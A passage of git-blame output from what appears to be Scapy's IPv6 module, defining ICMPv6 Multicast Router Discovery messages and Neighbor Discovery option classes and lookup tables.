1538c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Multicast Router Discovery Solicitation"
1539c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ByteEnumField("type", 152, icmp6types),
1540c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   ByteField("res", 0),
1541c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   XShortField("cksum", None) ]
1542c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "hlim": 1, "dst": "ff02::2"}}
1543c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                       # IPv6 Router Alert requires manual inclusion
1544c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def extract_padding(self, s):
1545c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[:4], s[4:]
1546c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1547c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MRD_Termination(_ICMPv6):
1548c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Multicast Router Discovery Termination"
1549c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ByteEnumField("type", 153, icmp6types),
1550c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   ByteField("res", 0),
1551c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   XShortField("cksum", None) ]
15520d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    overload_fields = {IPv6: { "nh": 58, "hlim": 1, "dst": "ff02::6A"}}
1553c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                       # IPv6 Router Alert requires manual inclusion
1554c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def extract_padding(self, s):
1555c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[:4], s[4:]
1556c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1557c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1558c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil################### ICMPv6 Neighbor Discovery (RFC 2461) ####################
1559c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1560c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilicmp6ndopts = { 1: "Source Link-Layer Address",
1561c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                2: "Target Link-Layer Address",
1562c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                3: "Prefix Information",
1563c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                4: "Redirected Header",
1564c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                5: "MTU",
1565c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                6: "NBMA Shortcut Limit Option", # RFC2491
1566c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                7: "Advertisement Interval Option",
1567c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                8: "Home Agent Information Option",
1568c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                9: "Source Address List",
1569c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               10: "Target Address List",
1570c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               11: "CGA Option",            # RFC 3971
1571c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               12: "RSA Signature Option",  # RFC 3971
1572c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               13: "Timestamp Option",      # RFC 3971
1573c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               14: "Nonce option",          # RFC 3971
1574c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               15: "Trust Anchor Option",   # RFC 3971
1575c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               16: "Certificate Option",    # RFC 3971
1576c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               17: "IP Address Option",                             # RFC 4068
1577c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               18: "New Router Prefix Information Option",          # RFC 4068
1578c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               19: "Link-layer Address Option",                     # RFC 4068
15790d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz               20: "Neighbor Advertisement Acknowledgement Option",
1580c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               21: "CARD Request Option", # RFC 4065/4066/4067
1581c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               22: "CARD Reply Option",   # RFC 4065/4066/4067
1582c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               23: "MAP Option",          # RFC 4140
1583c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               24: "Route Information Option",  # RFC 4191
1584c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               25: "Recusive DNS Server Option",
1585c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               26: "IPv6 Router Advertisement Flags Option"
1586c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                }
15870d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1588c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilicmp6ndoptscls = { 1: "ICMPv6NDOptSrcLLAddr",
1589c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   2: "ICMPv6NDOptDstLLAddr",
1590c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   3: "ICMPv6NDOptPrefixInfo",
1591c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   4: "ICMPv6NDOptRedirectedHdr",
1592c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   5: "ICMPv6NDOptMTU",
1593c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   6: "ICMPv6NDOptShortcutLimit",
1594c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   7: "ICMPv6NDOptAdvInterval",
1595c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   8: "ICMPv6NDOptHAInfo",
1596c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   9: "ICMPv6NDOptSrcAddrList",
1597c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  10: "ICMPv6NDOptTgtAddrList",
1598c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #11: Do Me,
1599c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #12: Do Me,
1600c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #13: Do Me,
1601c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #14: Do Me,
1602c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #15: Do Me,
1603c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #16: Do Me,
16040d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                  17: "ICMPv6NDOptIPAddr",
1605c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  18: "ICMPv6NDOptNewRtrPrefix",
1606c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  19: "ICMPv6NDOptLLA",
1607c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #18: Do Me,
1608c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #19: Do Me,
1609c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #20: Do Me,
1610c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #21: Do Me,
1611c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #22: Do Me,
1612c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  23: "ICMPv6NDOptMAP",
1613c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  24: "ICMPv6NDOptRouteInfo",
1614c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  25: "ICMPv6NDOptRDNSS",
16152e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                  26: "ICMPv6NDOptEFA",
16162e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                  31: "ICMPv6NDOptDNSSL"
1617c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  }
1618c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1619c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _ICMPv6NDGuessPayload:
1620c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Dummy ND class that implements guess_payload_class()"
1621c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def guess_payload_class(self,p):
1622c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if len(p) > 1:
1623c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return get_cls(icmp6ndoptscls.get(ord(p[0]),"Raw"), "Raw") # s/Raw/ICMPv6NDOptUnknown/g ?
1624c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1625c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1626c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Beginning of ICMPv6 Neighbor Discovery Options.
1627c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1628c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptUnknown(_ICMPv6NDGuessPayload, Packet):
1629c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Scapy Unimplemented"
1630c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",None),
1631c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len",None,length_of="data",fmt="B",
1632c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                  adjust = lambda pkt,x: x+2),
1633c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrLenField("data","",
1634c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.len-2) ]
1635c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1636c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# NOTE: len includes type and len field. Expressed in unit of 8 bytes
1637c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO: Revoir le coup du ETHER_ANY
1638c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptSrcLLAddr(_ICMPv6NDGuessPayload, Packet):
1639c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Source Link-Layer Address"
1640c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type", 1),
1641c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", 1),
1642c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    MACField("lladdr", ETHER_ANY) ]
16430d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    def mysummary(self):
1644c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.sprintf("%name% %lladdr%")
1645c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1646c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptDstLLAddr(ICMPv6NDOptSrcLLAddr):
1647c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address"
1648c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    type = 2
1649c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1650c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptPrefixInfo(_ICMPv6NDGuessPayload, Packet):
1651c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Prefix Information"
1652c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",3),
1653c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len",4),
1654c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("prefixlen",None),
1655c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("L",1,1),
1656c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("A",1,1),
1657c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("R",0,1),
1658c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("res1",0,5),
1659c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XIntField("validlifetime",0xffffffffL),
1660c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XIntField("preferredlifetime",0xffffffffL),
1661c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XIntField("res2",0x00000000),
1662c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("prefix","::") ]
16630d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    def mysummary(self):
1664c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.sprintf("%name% %prefix%")
1665c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1666c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO: We should also limit the size of included packet to something
1667c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# like (initiallen - 40 - 2)
1668c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass TruncPktLenField(PacketLenField):
1669b62dbe4f266acaa96e0a2ebc2152c8d5f48bdc1dPierre LALET    __slots__ = ["cur_shift"]
1670c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1671c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default, cls, cur_shift, length_from=None, shift=0):
1672c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        PacketLenField.__init__(self, name, default, cls, length_from=length_from)
1673c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.cur_shift = cur_shift
1674c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1675c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
1676c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = self.length_from(pkt)
1677c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        i = self.m2i(pkt, s[:l])
1678c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[l:],i
16794e957e091da2c111732db403e6db503f4b383157Jochen Bartl
1680c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def m2i(self, pkt, m):
16814e957e091da2c111732db403e6db503f4b383157Jochen Bartl        s = None
1682c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        try: # It can happen we have sth shorter than 40 bytes
1683c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            s = self.cls(m)
1684c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        except:
16857b3e970663abd72697e17b70aba9943ae0dad404Phil            return conf.raw_layer(m)
1686c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s
1687c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1688c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
1689c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        s = str(x)
1690c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = len(s)
1691c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        r = (l + self.cur_shift) % 8
16924e957e091da2c111732db403e6db503f4b383157Jochen Bartl        l = l - r
1693c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[:l]
1694c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1695c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2len(self, pkt, i):
1696c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return len(self.i2m(pkt, i))
1697c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
16984e957e091da2c111732db403e6db503f4b383157Jochen Bartl
1699c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Faire un post_build pour le recalcul de la taille (en multiple de 8 octets)
1700c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptRedirectedHdr(_ICMPv6NDGuessPayload, Packet):
1701c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Redirected Header"
1702c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",4),
1703c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len", None, length_of="pkt", fmt="B",
17044e957e091da2c111732db403e6db503f4b383157Jochen Bartl                                  adjust = lambda pkt,x:(x+8)/8),
17052a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrFixedLenField("res", b"\x00"*6, 6),
17064e957e091da2c111732db403e6db503f4b383157Jochen Bartl                    TruncPktLenField("pkt", "", IPv6, 8,
17074e957e091da2c111732db403e6db503f4b383157Jochen Bartl                                     length_from = lambda pkt: 8*pkt.len-8) ]
1708c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1709c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# See which value should be used for default MTU instead of 1280
1710c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptMTU(_ICMPv6NDGuessPayload, Packet):
1711c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - MTU"
1712c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",5),
1713c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len",1),
1714c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("res",0),
1715c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("mtu",1280)]
1716c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1717c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptShortcutLimit(_ICMPv6NDGuessPayload, Packet): # RFC 2491
1718c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - NBMA Shortcut Limit"
1719c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type", 6),
1720c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", 1),
1721c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("shortcutlim", 40), # XXX
1722c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res1", 0),
1723c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("res2", 0) ]
17240d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1725c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptAdvInterval(_ICMPv6NDGuessPayload, Packet):
1726c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Interval Advertisement"
1727c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",7),
1728c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len",1),
1729c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("res", 0),
1730c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("advint", 0) ]
17310d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    def mysummary(self):
1732c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.sprintf("%name% %advint% milliseconds")
1733c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
17340d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NDOptHAInfo(_ICMPv6NDGuessPayload, Packet):
1735c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Home Agent Information"
1736c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",8),
1737c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len",1),
1738c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("res", 0),
1739c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("pref", 0),
1740c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("lifetime", 1)]
17410d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    def mysummary(self):
1742c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.sprintf("%name% %pref% %lifetime% seconds")
1743c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1744c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# type 9  : See ICMPv6NDOptSrcAddrList class below in IND (RFC 3122) support
1745c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1746c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# type 10 : See ICMPv6NDOptTgtAddrList class below in IND (RFC 3122) support
1747c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
174877132687c31a9d3f30c3992c70eb24d1ac0948a7Philclass ICMPv6NDOptIPAddr(_ICMPv6NDGuessPayload, Packet):  # RFC 4068
1749c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - IP Address Option (FH for MIPv6)"
1750c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",17),
1751c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", 3),
1752c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("optcode", 1, {1: "Old Care-Of Address",
1753c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                                 2: "New Care-Of Address",
1754c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                                 3: "NAR's IP address" }),
1755c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("plen", 64),
1756c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("res", 0),
1757c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("addr", "::") ]
1758c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1759c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptNewRtrPrefix(_ICMPv6NDGuessPayload, Packet): # RFC 4068
1760c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - New Router Prefix Information Option (FH for MIPv6)"
1761c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",18),
1762c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", 3),
1763c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("optcode", 0),
1764c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("plen", 64),
1765c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("res", 0),
1766c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("prefix", "::") ]
1767c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1768c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_rfc4068_lla_optcode = {0: "Wildcard requesting resolution for all nearby AP",
1769c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        1: "LLA for the new AP",
1770c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        2: "LLA of the MN",
1771c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        3: "LLA of the NAR",
1772c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        4: "LLA of the src of TrSolPr or PrRtAdv msg",
1773c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        5: "AP identified by LLA belongs to current iface of router",
1774c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        6: "No preifx info available for AP identified by the LLA",
1775c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        7: "No fast handovers support for AP identified by the LLA" }
1776c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
177777132687c31a9d3f30c3992c70eb24d1ac0948a7Philclass ICMPv6NDOptLLA(_ICMPv6NDGuessPayload, Packet):     # RFC 4068
1778c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Link-Layer Address (LLA) Option (FH for MIPv6)"
1779c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type", 19),
1780c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", 1),
1781c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("optcode", 0, _rfc4068_lla_optcode),
1782c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    MACField("lla", ETHER_ANY) ] # We only support ethernet
1783c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
178477132687c31a9d3f30c3992c70eb24d1ac0948a7Philclass ICMPv6NDOptMAP(_ICMPv6NDGuessPayload, Packet):     # RFC 4140
1785c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - MAP Option"
1786c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type", 23),
1787c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", 3),
1788c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("dist", 1, 4),
1789c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("pref", 15, 4), # highest availability
1790c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("R", 1, 1),
17910d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    BitField("res", 0, 7),
1792c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("validlifetime", 0xffffffff),
17930d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    IP6Field("addr", "::") ]
1794c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1795c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
17966057906368d55634d11e1d19a5cca1f127595b11Robin Jarryclass _IP6PrefixField(IP6Field):
1797b62dbe4f266acaa96e0a2ebc2152c8d5f48bdc1dPierre LALET    __slots__ = ["length_from"]
1798c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default):
1799c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        IP6Field.__init__(self, name, default)
1800c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.length_from = lambda pkt: 8*(pkt.len - 1)
1801c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1802c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def addfield(self, pkt, s, val):
1803c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s + self.i2m(pkt, val)
1804c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1805c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
1806c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = self.length_from(pkt)
1807c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        p = s[:l]
1808c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if l < 16:
18092a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter            p += b'\x00'*(16-l)
1810c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[l:], self.m2i(pkt,p)
1811c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1812c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2len(self, pkt, x):
1813c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return len(self.i2m(pkt, x))
18140d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1815c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
1816c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = pkt.len
1817c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1818c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
1819c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            x = "::"
1820c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if l is None:
1821c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                l = 1
1822c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        x = inet_pton(socket.AF_INET6, x)
1823c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1824c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if l is None:
1825c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return x
1826c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if l in [0, 1]:
